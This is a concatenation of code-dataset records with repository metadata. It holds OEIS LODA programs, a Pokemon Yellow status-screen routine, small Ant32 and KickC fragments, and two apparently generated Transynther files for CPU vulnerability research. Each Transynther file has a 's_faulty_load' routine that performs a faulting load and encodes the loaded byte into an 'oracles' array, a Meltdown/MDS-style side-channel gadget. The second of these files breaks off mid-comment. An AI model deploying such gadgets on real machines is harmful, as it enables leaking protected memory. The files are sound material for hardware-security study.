"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A242181: Numbers with four X's in Roman numerals.
; 39,89,139,189,239,289,339,389,439,489,539,589,639,689,739,789,839,889,939,989,1039,1089,1139,1189,1239,1289,1339,1389,1439,1489,1539,1589,1639,1689,1739,1789,1839,1889,1939,1989,2039,2089,2139,2189,2239,2289,2339
mul $0,50
add $0,39
| 48 | 214 | 0.753472 |
e6bb65c18c8bf075c458b74c033db278d335935b | 5,977 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_1070_564.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_1070_564.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_1070_564.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x1b24f, %rdx
nop
xor %rcx, %rcx
movl $0x61626364, (%rdx)
nop
nop
add %rsi, %rsi
lea addresses_A_ht+0x3bcf, %rdx
xor %r12, %r12
mov $0x6162636465666768, %r10
movq %r10, %xmm5
and $0xffffffffffffffc0, %rdx
vmovaps %ymm5, (%rdx)
nop
nop
nop
nop
cmp %rcx, %rcx
lea addresses_WT_ht+0x9a8f, %rsi
lea addresses_WT_ht+0x18f4f, %rdi
and %rax, %rax
mov $57, %rcx
rep movsq
nop
nop
and $11888, %rdx
lea addresses_WT_ht+0x1062f, %rsi
and $271, %r12
movl $0x61626364, (%rsi)
nop
sub $8258, %r10
lea addresses_normal_ht+0x1bd8f, %rdi
nop
nop
nop
and $47983, %rcx
movl $0x61626364, (%rdi)
nop
inc %r12
lea addresses_WT_ht+0xa24f, %rsi
lea addresses_normal_ht+0x19ae3, %rdi
sub %rbx, %rbx
mov $56, %rcx
rep movsq
nop
nop
nop
xor %rcx, %rcx
lea addresses_normal_ht+0x13b3f, %rsi
lea addresses_WT_ht+0x1de4f, %rdi
and $63607, %r10
mov $63, %rcx
rep movsq
nop
nop
sub %rsi, %rsi
lea addresses_A_ht+0x7a4f, %rsi
lea addresses_normal_ht+0x4a7f, %rdi
nop
nop
nop
nop
sub %r10, %r10
mov $126, %rcx
rep movsq
nop
nop
cmp %rdi, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %rax
push %rdi
push %rsi
// Faulty Load
lea addresses_RW+0x19a4f, %r15
nop
and %rdi, %rdi
mov (%r15), %si
lea oracles, %r13
and $0xff, %rsi
shlq $12, %rsi
mov (%r13,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rax
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}}
{'32': 1070}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 44.93985 | 2,999 | 0.66254 |
3b770cd692e322a61d7dc0f6eb16a2f2897b0903 | 704 | asm | Assembly | oeis/086/A086866.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/086/A086866.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/086/A086866.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A086866: Third column of A059450.
; Submitted by Jon Maiga
; 0,0,5,17,50,136,352,880,2144,5120,12032,27904,64000,145408,327680,733184,1630208,3604480,7929856,17367040,37879808,82313216,178257920,384827392,828375040,1778384896,3808428032,8136949760,17347641344,36909875200,78383153152,166161547264,351650447360,743029342208,1567663063040,3302829850624,6949257084928,14602888806400,30648886624256,64252710748160,134552735449088,281474976710656,588238720860160,1228154488225792,2561862092718080,5339228464480256,11118261580070912,23133724648407040
lpb $0
sub $0,1
add $1,$3
mov $5,4
max $5,$1
add $5,$2
mul $2,2
add $2,1
add $4,$3
add $5,1
mov $3,$5
mul $4,2
lpe
mov $0,$4
div $0,2
| 35.2 | 485 | 0.786932 |
56719d35197b23c264c185a0026b58cc133a488d | 16 | asm | Assembly | src/main/fragment/mos6502-common/vbsxx_ge_0_then_la1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/main/fragment/mos6502-common/vbsxx_ge_0_then_la1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/main/fragment/mos6502-common/vbsxx_ge_0_then_la1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | cpx #0
bpl {la1} | 8 | 9 | 0.625 |
264edbbe0cec519decbdc6a235d1ff48aca2d4f9 | 248 | asm | Assembly | Src/Ant32/Tests/ant32/mmu/tlbse_success.asm | geoffthorpe/ant-architecture | d85952e3050c352d5d715d9749171a335e6768f7 | [
"BSD-3-Clause"
] | null | null | null | Src/Ant32/Tests/ant32/mmu/tlbse_success.asm | geoffthorpe/ant-architecture | d85952e3050c352d5d715d9749171a335e6768f7 | [
"BSD-3-Clause"
] | null | null | null | Src/Ant32/Tests/ant32/mmu/tlbse_success.asm | geoffthorpe/ant-architecture | d85952e3050c352d5d715d9749171a335e6768f7 | [
"BSD-3-Clause"
] | 1 | 2020-07-15T04:09:05.000Z | 2020-07-15T04:09:05.000Z | #
# Copyright 1999-2000 by the President and Fellows of Harvard College.
# See LICENSE.txt for license information.
#
#@ tests tlbse, expects success.
# OK
lc r3, 4 #TLB index
lch r4, 20 #the TLB entry itself
lch r5, 30
tlbse r3, r4
stop
| 17.714286 | 70 | 0.701613 |
4fcaf0352b3ce4ac01a7f3f5d1678159caa404d7 | 377 | asm | Assembly | programs/oeis/262/A262684.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/262/A262684.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/262/A262684.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A262684: Characteristic function for A080218.
; 0,0,1,0,1,1,1,1,0,1,1,0,1,1,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,0,1,0,0,1,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1
lpb $0
seq $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n.
sub $0,1
cmp $1,0
lpe
mov $0,$1
| 37.7 | 201 | 0.567639 |
27ab4be2f7f12055024e9c2269e72a4d3ac7e49a | 10,089 | asm | Assembly | engine/menu/status_screen.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | null | null | null | engine/menu/status_screen.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | null | null | null | engine/menu/status_screen.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | null | null | null | DrawHP:
; Draws the HP bar in the stats screen
call GetPredefRegisters
ld a, $1
jr DrawHP_
DrawHP2:
; Draws the HP bar in the party screen
call GetPredefRegisters
ld a, $2
DrawHP_:
ld [wHPBarType], a
push hl
ld a, [wLoadedMonHP]
ld b, a
ld a, [wLoadedMonHP + 1]
ld c, a
or b
jr nz, .nonzeroHP
xor a
ld c, a
ld e, a
ld a, $6
ld d, a
jp .drawHPBarAndPrintFraction
.nonzeroHP
ld a, [wLoadedMonMaxHP]
ld d, a
ld a, [wLoadedMonMaxHP + 1]
ld e, a
predef HPBarLength
ld a, $6
ld d, a
ld c, a
.drawHPBarAndPrintFraction
pop hl
push de
push hl
push hl
call DrawHPBar
pop hl
ld a, [hFlags_0xFFFA]
bit 0, a
jr z, .printFractionBelowBar
ld bc, $9 ; right of bar
jr .printFraction
.printFractionBelowBar
ld bc, SCREEN_WIDTH + 1 ; below bar
.printFraction
add hl, bc
ld de, wLoadedMonHP
lb bc, 2, 3
call PrintNumber
ld a, "/"
ld [hli], a
ld de, wLoadedMonMaxHP
lb bc, 2, 3
call PrintNumber
pop hl
pop de
ret
; Predef 0x37
StatusScreen:
call LoadMonData
ld a, [wMonDataLocation]
cp BOX_DATA
jr c, .DontRecalculate
; mon is in a box or daycare
ld a, [wLoadedMonBoxLevel]
ld [wLoadedMonLevel], a
ld [wCurEnemyLVL], a
ld hl, wLoadedMonHPExp - 1
ld de, wLoadedMonStats
ld b, $1
call CalcStats ; Recalculate stats
.DontRecalculate
ld hl, wd72c
set 1, [hl]
ld a, $33
ld [rNR50], a ; Reduce the volume
call GBPalWhiteOutWithDelay3
call ClearScreen
call UpdateSprites
call LoadHpBarAndStatusTilePatterns
ld de, BattleHudTiles1 ; source
ld hl, vChars2 + $6d0 ; dest
lb bc, BANK(BattleHudTiles1), $03
call CopyVideoDataDouble ; ·│ :L and halfarrow line end
ld de, BattleHudTiles2
ld hl, vChars2 + $780
lb bc, BANK(BattleHudTiles2), $01
call CopyVideoDataDouble ; │
ld de, BattleHudTiles3
ld hl, vChars2 + $760
lb bc, BANK(BattleHudTiles3), $02
call CopyVideoDataDouble ; ─┘
ld de, PTile
ld hl, vChars2 + $720
lb bc, BANK(PTile), (PTileEnd - PTile) / $8
call CopyVideoDataDouble ; P (for PP), inline
ld a, [hTilesetType]
push af
xor a
ld [hTilesetType], a
coord hl, 19, 1
lb bc, 6, 10
call DrawLineBox ; Draws the box around name, HP and status
ld de, -6
add hl, de
ld [hl], $f2 ; . after No ("." is a different one)
dec hl
ld [hl], "№"
coord hl, 19, 9
lb bc, 8, 6
call DrawLineBox ; Draws the box around types, ID No. and OT
coord hl, 10, 9
ld de, Type1Text
call PlaceString ; "TYPE1/"
coord hl, 11, 3
predef DrawHP
ld hl, wStatusScreenHPBarColor
call GetHealthBarColor
; is mon supposed to be shiny?
ld b, Bank(IsMonShiny)
ld hl, IsMonShiny
ld de, wLoadedMonDVs
call Bankswitch
ld hl, wShinyMonFlag
jr nz, .shiny
res 0, [hl]
jr .setPAL
.shiny
set 0, [hl]
.setPAL
ld b, SET_PAL_STATUS_SCREEN
call RunPaletteCommand
coord hl, 16, 6
ld de, wLoadedMonStatus
call PrintStatusCondition
jr nz, .StatusWritten
coord hl, 16, 6
ld de, OKText
call PlaceString ; "OK"
.StatusWritten
coord hl, 9, 6
;ld de, StatusText;old status text
;call PlaceString ; "STATUS/"
ld a, [wLoadedMonCatchRate]
cp 0
jr z, .noitem
cp 100
jr c, .cnt
ld a, 20 ;I think I put this as an override if the item held id is over 100, which could correspond to a nonexistent item or a junk 'floor' item.
ld [wLoadedMonCatchRate],a
.cnt
ld [wd11e],a ; store item ID for GetItemName
call GetItemName
ld de,wcd6d;PokeHoldItemText;
call PlaceString
.noitem
coord hl, 14, 2
call PrintLevel ; Pokémon level
ld a, [wMonHIndex]
ld [wd11e], a
ld [wd0b5], a
predef IndexToPokedex
coord hl, 3, 7
ld de, wd11e
lb bc, LEADING_ZEROES | 1, 3
call PrintNumber ; Pokémon no.
coord hl, 11, 10
predef PrintMonType
ld hl, NamePointers2
call .GetStringPointer
ld d, h
ld e, l
coord hl, 9, 1
call PlaceString ; Pokémon name
ld hl, OTPointers
call .GetStringPointer
ld d, h
ld e, l
coord hl, 12, 16
call PlaceString ; OT
coord hl, 12, 14
ld de, wLoadedMonOTID
lb bc, LEADING_ZEROES | 2, 5
call PrintNumber ; ID Number
call PrintShinySymbol
ld a, [wLoadedMonSpecies]
ld [wGenderTemp], a
call PrintGenderStatusScreen
ld d, $0
call PrintStatsBox
call Delay3
call GBPalNormal
coord hl, 1, 0
call LoadFlippedFrontSpriteByMonIndex ; draw Pokémon picture
ld a, [wMonDataLocation]
cp ENEMY_PARTY_DATA
jr z, .playRegularCry
cp BOX_DATA
jr z, .checkBoxData
callab IsThisPartymonStarterPikachu_Party
jr nc, .playRegularCry
jr .playPikachuSoundClip
.checkBoxData
callab IsThisPartymonStarterPikachu_Box
jr nc, .playRegularCry
.playPikachuSoundClip
callab IsStarterRaichuInOurParty ;really should make one to check box too...
jr nc, .Pikachu
ld e,0
jr .cry
.Pikachu
ld e, 16
.cry
callab PlayPikachuSoundClip
jr .continue
.playRegularCry
ld a, [wcf91]
call PlayCry ; play Pokémon cry
.continue
call WaitForTextScrollButtonPress ; wait for button
pop af
ld [hTilesetType], a
ret
.GetStringPointer
ld a, [wMonDataLocation]
add a
ld c, a
ld b, 0
add hl, bc
ld a, [hli]
ld h, [hl]
ld l, a
ld a, [wMonDataLocation]
cp DAYCARE_DATA
ret z
ld a, [wWhichPokemon]
jp SkipFixedLengthTextEntries
OTPointers:
dw wPartyMonOT
dw wEnemyMonOT
dw wBoxMonOT
dw wDayCareMonOT
NamePointers2:
dw wPartyMonNicks
dw wEnemyMonNicks
dw wBoxMonNicks
dw wDayCareMonName
Type1Text:
db "TYPE1/", $4e
Type2Text:
db "TYPE2/", $4e
IDNoText:
db $73, "№", "/", $4e
OTText:
db "OT/", $4e, "@"
StatusText:
db "STATUS/@"
;PokeHoldItemText:
; db "Item@"
OKText:
db "OK@"
; Draws a line starting from hl high b and wide c
DrawLineBox:
ld de, SCREEN_WIDTH ; New line
.PrintVerticalLine
ld [hl], $78 ; │
add hl, de
dec b
jr nz, .PrintVerticalLine
ld [hl], $77 ; ┘
dec hl
.PrintHorizLine
ld [hl], $76 ; ─
dec hl
dec c
jr nz, .PrintHorizLine
ld [hl], $6f ; ← (halfarrow ending)
ret
PrintShinySymbol:
ld b, Bank(IsMonShiny)
ld hl, IsMonShiny
ld de, wLoadedMonDVs
call Bankswitch
ret z
; draw the shiny symbol
coord hl, 0, 0
ld a, "!"
ld [hl], a
ret
PTile: ; This is a single 1bpp "P" tile
INCBIN "gfx/p_tile.1bpp"
PTileEnd:
PrintStatsBox:
ld a, d
and a ; a is 0 from the status screen
jr nz, .DifferentBox
coord hl, 0, 8
lb bc, 8, 8
call TextBoxBorder ; Draws the box
coord hl, 1, 9 ; Start printing stats from here
ld bc, $0019 ; Number offset
jr .PrintStats
.DifferentBox
coord hl, 9, 2
lb bc, 8, 9
call TextBoxBorder
coord hl, 11, 3
ld bc, $0018
.PrintStats
push bc
push hl
ld de, StatsText
call PlaceString
pop hl
pop bc
add hl, bc
ld de, wLoadedMonAttack
lb bc, 2, 3
call PrintStat
ld de, wLoadedMonDefense
call PrintStat
ld de, wLoadedMonSpeed
call PrintStat
ld de, wLoadedMonSpecial
jp PrintNumber
PrintStat:
push hl
call PrintNumber
pop hl
ld de, SCREEN_WIDTH * 2
add hl, de
ret
StatsText:
db "ATTACK"
next "DEFENSE"
next "SPEED"
next "SPECIAL@"
StatusScreen2:
ld a, [hTilesetType]
push af
xor a
ld [hTilesetType], a
ld [H_AUTOBGTRANSFERENABLED], a
ld bc, NUM_MOVES + 1
ld hl, wMoves
call FillMemory
ld hl, wLoadedMonMoves
ld de, wMoves
ld bc, NUM_MOVES
call CopyData
callab FormatMovesString
coord hl, 9, 2
lb bc, 5, 10
call ClearScreenArea ; Clear under name
coord hl, 19, 3
ld [hl], $78
coord hl, 0, 8
lb bc, 8, 18
call TextBoxBorder ; Draw move container
coord hl, 2, 9
ld de, wMovesString
call PlaceString ; Print moves
ld a, [wNumMovesMinusOne]
inc a
ld c, a
ld a, $4
sub c
ld b, a ; Number of moves ?
coord hl, 11, 10
ld de, SCREEN_WIDTH * 2
ld a, $72 ; special P tile id
call StatusScreen_PrintPP ; Print "PP"
ld a, b
and a
jr z, .InitPP
ld c, a
ld a, "-"
call StatusScreen_PrintPP ; Fill the rest with --
.InitPP
ld hl, wLoadedMonMoves
coord de, 14, 10
ld b, 0
.PrintPP
ld a, [hli]
and a
jr z, .PPDone
push bc
push hl
push de
ld hl, wCurrentMenuItem
ld a, [hl]
push af
ld a, b
ld [hl], a
push hl
callab GetMaxPP
pop hl
pop af
ld [hl], a
pop de
pop hl
push hl
ld bc, wPartyMon1PP - wPartyMon1Moves - 1
add hl, bc
ld a, [hl]
and $3f
ld [wStatusScreenCurrentPP], a
ld h, d
ld l, e
push hl
ld de, wStatusScreenCurrentPP
lb bc, 1, 2
call PrintNumber
ld a, "/"
ld [hli], a
ld de, wMaxPP
lb bc, 1, 2
call PrintNumber
pop hl
ld de, SCREEN_WIDTH * 2
add hl, de
ld d, h
ld e, l
pop hl
pop bc
inc b
ld a, b
cp $4
jr nz, .PrintPP
.PPDone
coord hl, 9, 3
ld de, StatusScreenExpText
call PlaceString
ld a, [wLoadedMonLevel]
push af
cp MAX_LEVEL
jr z, .Level100
inc a
ld [wLoadedMonLevel], a ; Increase temporarily if not 100
.Level100
coord hl, 14, 6
ld [hl], $70 ; 1-tile "to"
inc hl
inc hl
call PrintLevel
pop af
ld [wLoadedMonLevel], a
ld de, wLoadedMonExp
coord hl, 12, 4
lb bc, 3, 7
call PrintNumber ; exp
call CalcExpToLevelUp
ld de, wLoadedMonExp
coord hl, 7, 6
lb bc, 3, 7
call PrintNumber ; exp needed to level up
coord hl, 9, 0
call StatusScreen_ClearName
coord hl, 9, 1
call StatusScreen_ClearName
ld a, [wMonHIndex]
ld [wd11e], a
call GetMonName
coord hl, 9, 1
call PlaceString
ld a, $1
ld [H_AUTOBGTRANSFERENABLED], a
call Delay3
call WaitForTextScrollButtonPress ; wait for button
pop af
ld [hTilesetType], a
ld hl, wd72c
res 1, [hl]
ld a, $77
ld [rNR50], a
call GBPalWhiteOut
jp ClearScreen
CalcExpToLevelUp:
ld a, [wLoadedMonLevel]
cp MAX_LEVEL
jr z, .atMaxLevel
inc a
ld d, a
callab CalcExperience
ld hl, wLoadedMonExp + 2
ld a, [hExperience + 2]
sub [hl]
ld [hld], a
ld a, [hExperience + 1]
sbc [hl]
ld [hld], a
ld a, [hExperience]
sbc [hl]
ld [hld], a
ret
.atMaxLevel
ld hl, wLoadedMonExp
xor a
ld [hli], a
ld [hli], a
ld [hl], a
ret
StatusScreenExpText:
db "EXP POINTS"
next "LEVEL UP@"
StatusScreen_ClearName:
ld bc, 10
ld a, " "
jp FillMemory
StatusScreen_PrintPP:
; print PP or -- c times, going down two rows each time
ld [hli], a
ld [hld], a
add hl, de
dec c
jr nz, StatusScreen_PrintPP
ret
PrintGenderStatusScreen: ; called on status screen
; get gender
ld de, wLoadedMonDVs
callba GetMonGender
ld a, [wGenderTemp]
and a
jr z, .noGender
dec a
jr z, .male
; else female
ld a, "♀"
jr .printSymbol
.male
ld a, "♂"
jr .printSymbol
.noGender
ld a, " "
.printSymbol
coord hl, 17, 2
ld [hl], a
ret
| 17.731107 | 146 | 0.697988 |
e0547c12d4946ecc5db43dbbb3501871176af80a | 3,742 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca.log_1_80.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca.log_1_80.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca.log_1_80.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1d737, %r14
nop
nop
nop
nop
dec %rdi
movups (%r14), %xmm1
vpextrq $1, %xmm1, %r12
nop
nop
add $62233, %r13
lea addresses_normal_ht+0x1bf77, %rsi
lea addresses_D_ht+0xfb77, %rdi
nop
nop
xor $56652, %r8
mov $86, %rcx
rep movsb
nop
nop
nop
nop
and $43178, %r12
lea addresses_D_ht+0x14ccd, %r12
nop
nop
nop
nop
xor %r13, %r13
movups (%r12), %xmm3
vpextrq $0, %xmm3, %r14
nop
add $52181, %r13
lea addresses_normal_ht+0xa297, %rcx
nop
nop
nop
sub %r12, %r12
movw $0x6162, (%rcx)
nop
nop
add %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %r9
push %rcx
push %rdi
push %rsi
// Store
lea addresses_normal+0x18977, %r12
nop
nop
nop
add %r15, %r15
movw $0x5152, (%r12)
nop
nop
nop
nop
nop
and $33196, %r15
// Load
lea addresses_D+0xc177, %rsi
clflush (%rsi)
nop
add %r14, %r14
mov (%rsi), %r15w
nop
nop
nop
nop
nop
add %rsi, %rsi
// Store
mov $0x177, %r14
nop
nop
nop
nop
nop
and %rdi, %rdi
movl $0x51525354, (%r14)
nop
dec %rdi
// Store
mov $0x177, %rsi
clflush (%rsi)
nop
and $8537, %rcx
mov $0x5152535455565758, %rdi
movq %rdi, %xmm1
vmovups %ymm1, (%rsi)
nop
nop
nop
xor $29792, %r12
// Store
lea addresses_D+0x5137, %rdi
nop
nop
sub %r15, %r15
mov $0x5152535455565758, %rsi
movq %rsi, %xmm2
movups %xmm2, (%rdi)
nop
add $60875, %r14
// Store
lea addresses_D+0xaa63, %rsi
nop
nop
nop
nop
add $24918, %r15
movl $0x51525354, (%rsi)
// Exception!!!
nop
nop
nop
nop
mov (0), %r9
nop
nop
nop
nop
nop
cmp %rdi, %rdi
// Store
mov $0x177, %rcx
nop
nop
cmp %r9, %r9
mov $0x5152535455565758, %r15
movq %r15, %xmm3
movups %xmm3, (%rcx)
nop
xor %rcx, %rcx
// Faulty Load
mov $0x177, %r15
dec %r12
vmovaps (%r15), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %r9
lea oracles, %r14
and $0xff, %r9
shlq $12, %r9
mov (%r14,%r9,1), %r9
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': True, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_P', 'same': True, 'AVXalign': False, 'congruent': 0}}
